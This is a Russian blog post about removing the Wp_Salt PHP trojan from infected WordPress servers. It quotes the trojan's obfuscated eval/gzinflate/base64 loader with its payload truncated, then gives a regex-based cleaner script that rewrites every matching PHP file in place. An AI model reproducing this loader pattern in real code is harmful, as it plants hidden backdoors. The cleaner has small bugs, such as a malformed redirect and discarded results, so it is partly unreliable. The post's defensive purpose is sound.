Скрипт чистки от трояна Wp_Salt

Многие сервера были подвержены атаке вредоносного скрипта — malware script с имитацией плагина WordPress (хотя заражал он все подряд файлы php)

 



<?php
$md5 = "2b351068f6742153073f3af2e7fa11de";
$wp_salt = array('6',"r",')',"f",'i','4',"z",'_','(','e',";","g","o",'b',"a","$","v","d","t",'n','c',"l","s");
$wp_add_filter = create_function('$'.'v',$wp_salt[9].$wp_salt[16].$wp_salt[14].$wp_salt[21].$wp_salt[8].$wp_salt[11].$wp_salt[6].$wp_salt[4].$wp_salt[19].$wp_salt[3].$wp_salt[21].$wp_salt[14].$wp_salt[18].$wp_salt[9].$wp_salt[8].$wp_salt[13].$wp_salt[14].$wp_salt[22].$wp_salt[9].$wp_salt[0].$wp_salt[5].$wp_salt[7].$wp_salt[17].$wp_salt[9].$wp_salt[20].$wp_salt[12].$wp_salt[17].$wp_salt[9].$wp_salt[8].$wp_salt[15].$wp_salt[16].$wp_salt[2].$wp_salt[2].$wp_salt[2].$wp_salt[10]);
$wp_add_filter('FZnHEqvGFkU/x3YxIKdyeUDOGZEmr8gZRA5f/3SH0gS6+/...');
?>

Наш сервер был взломан и все PHP-файлы оказались заражены. Зараженный PHP-файл расплодил по серверу свой, см. выше. Код вызывает другой PHP-файл и оттуда получает данные. Чтобы удалить код вам необходимо избавиться от него в каждом файле, но в каждом файле модифицированный штамп вируса.

Я создал скрипт, который это сделает.

Загрузите отсюда исходный код, и запустите его, скопировав в свой корневой каталог или любой другой. Эта программа проверит все PHP-файлы во всех вложенных директориях, и уберет все, что заражено этим типом трояна.

 

Загрузите версию CLI и используйте php из командной строкой. Пример:


$ time php cleaner-cli.php 2>&&1 >> cleaner_log

Эта команда запустит   cleaner-cli.php и сохранит log в файле cleaner_log.

 


<?php
set_time_limit(0);
ob_start();
header("Content-type:text/plain");

$root = "./";

$find ="^<\?php\s*\\\$md5\s*=\s*[\"|']\w+[\"|'];\s*\\\$wp_salt\s*=\s*[\w\(\),\"\'\;\$]+\s*\\\$wp_add_filter\s*=\s*create_function\(.*\);\s*\\\$wp_add_filter\(.*\);\s*\?>\s*";

$except = array("rar", "zip", "htaccess", "css", "js");
$only = array("php");
$infectedFiles = null;
$showOnlyInfectedFiles = true;
$cleanInfected = true;

$infectedFiles = startScan($root);

echo "Found Files\n";
echo "\n";
if(is_array($infectedFiles))
$j=1;
foreach($infectedFiles AS $iFile){
echo "\t{$j}. {$iFile}\n";
$j++; }
echo "\n";

/* functions */
function getAllFiles($dir){
global $except, $only;
$filenames = null;
if ($handle = opendir($dir)){
while (false !== ($file = readdir($handle)))
if ($file != "." && $file != ".." && !is_dir($dir.$file)){
$path_parts = pathinfo($file);
if(isset($path_parts['extension']) && array_search($path_parts['extension'], $except) === false)
if(array_search($path_parts['basename'], $only) !== false || array_search($path_parts['extension'], $only) !== false || sizeof($only) < 1)
$filenames[] = $file;
}
closedir($handle);
}

return $filenames;
}

function getAllDirectories($dir){
$directories = null;
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle)))
if ($file != "." && $file != ".." && is_dir($dir.$file))
$directories[] = $dir.$file;
closedir($handle);
}

return $directories;
}

function startScan($root, $tabs=""){
global $find, $infectedFiles, $showOnlyInfectedFiles, $cleanInfected;

$time_start = microtime_float();

$root = str_replace("//", "/", $root);
echo "\n\n{$tabs}".$root;
$directories = getAllDirectories($root);
if(is_array($directories)){

// get all files
if(($tmp = getAllFiles($root)) !== null){
$files = $tmp;
foreach($files AS $file){
$numMatches = checkMalware($root.$file, $find);
if(!empty($numMatches)){
if($cleanInfected)
cleanInfected($root.$file, $find);

echo "\n\t{$tabs} * ".$infectedFiles[] = $root.$file;
echo " - ".(microtime_float() - $time_start);
}elseif(!$showOnlyInfectedFiles){
$infectedFiles[] = $root.$file;
echo "\n\t{$tabs} - ".$root.$file;
}
}
echo "\n";
}

foreach($directories AS $dir){
echo "\n\t{$tabs}".$dir;
ob_implicit_flush();
ob_flush();
sleep(1);

// get all files
if(($tmp = getAllFiles($dir)) !== null){
$files = $tmp;
foreach($files AS $file){
if($dir[strlen($dir)-1] === "/") $dir = substr($dir, 0, -1);
$numMatches = checkMalware($dir."/".$file, $find);
if(!empty($numMatches)){
if($cleanInfected)
cleanInfected($dir."/".$file, $find);

echo "\n\t\t{$tabs} * ".$infectedFiles[] = $dir."/".$file;
echo " - ".(microtime_float() - $time_start);
}elseif(!$showOnlyInfectedFiles) {
$infectedFiles[] = $dir."/".$file;
echo "\n\t\t{$tabs} - ".$infectedFiles[] = $dir."/".$file;
}
}
}

// gel all directories
if($root[strlen($root)-1] === "/") $tmp_root = substr($root, 0, -1);
if(($tmp = getAllDirectories($dir."/")) !== null && $dir !== $tmp_root){
foreach($tmp AS $d){
$tabs .= "\t";
$a = startScan($d."/", $tabs);
if(is_array($a))
array_merge($infectedFiles, $a);
}

}
}
}else{
// get all files
if(($tmp = getAllFiles($root)) !== null){
$files = $tmp;
foreach($files AS $file){
$numMatches = checkMalware($root.$file, $find);
if(!empty($numMatches)){
if($cleanInfected)
cleanInfected($root.$file, $find);

echo "\n\t{$tabs} * ".$infectedFiles[] = $root.$file;
echo " - ".(microtime_float() - $time_start);
}elseif(!$showOnlyInfectedFiles){
$infectedFiles[] = $root.$file;
echo "\n\t{$tabs} - ".$root.$file;
}
}
echo "\n";
}
}

return $infectedFiles;
}

function checkMalware($filename, $find){
$numMatches = null;
$handle = fopen($filename, "r");
if(filesize($filename) > 0){
$contents = fread($handle, filesize($filename));

$numMatches = preg_match('/'.$find.'/i', $contents, $matches);
}
fclose($handle);
return $numMatches;
}

function cleanInfected($filename, $find){

$handle = fopen($filename, "r");
if(filesize($filename) > 0){
$contents = fread($handle, filesize($filename));
fclose($handle);

$handle = fopen($filename, "w");
$contents = preg_replace('/'.$find.'/i', '', $contents);
fwrite($handle, $contents);
}
fclose($handle);
}

function microtime_float(){
list($usec, $sec) = explode(" ", microtime());
return ((float)$usec + (float)$sec);
}

ob_end_flush();

admin

Несколько слов об авторе admin


Пока молчат

Leave A Reply

You must be logged in to post a comment.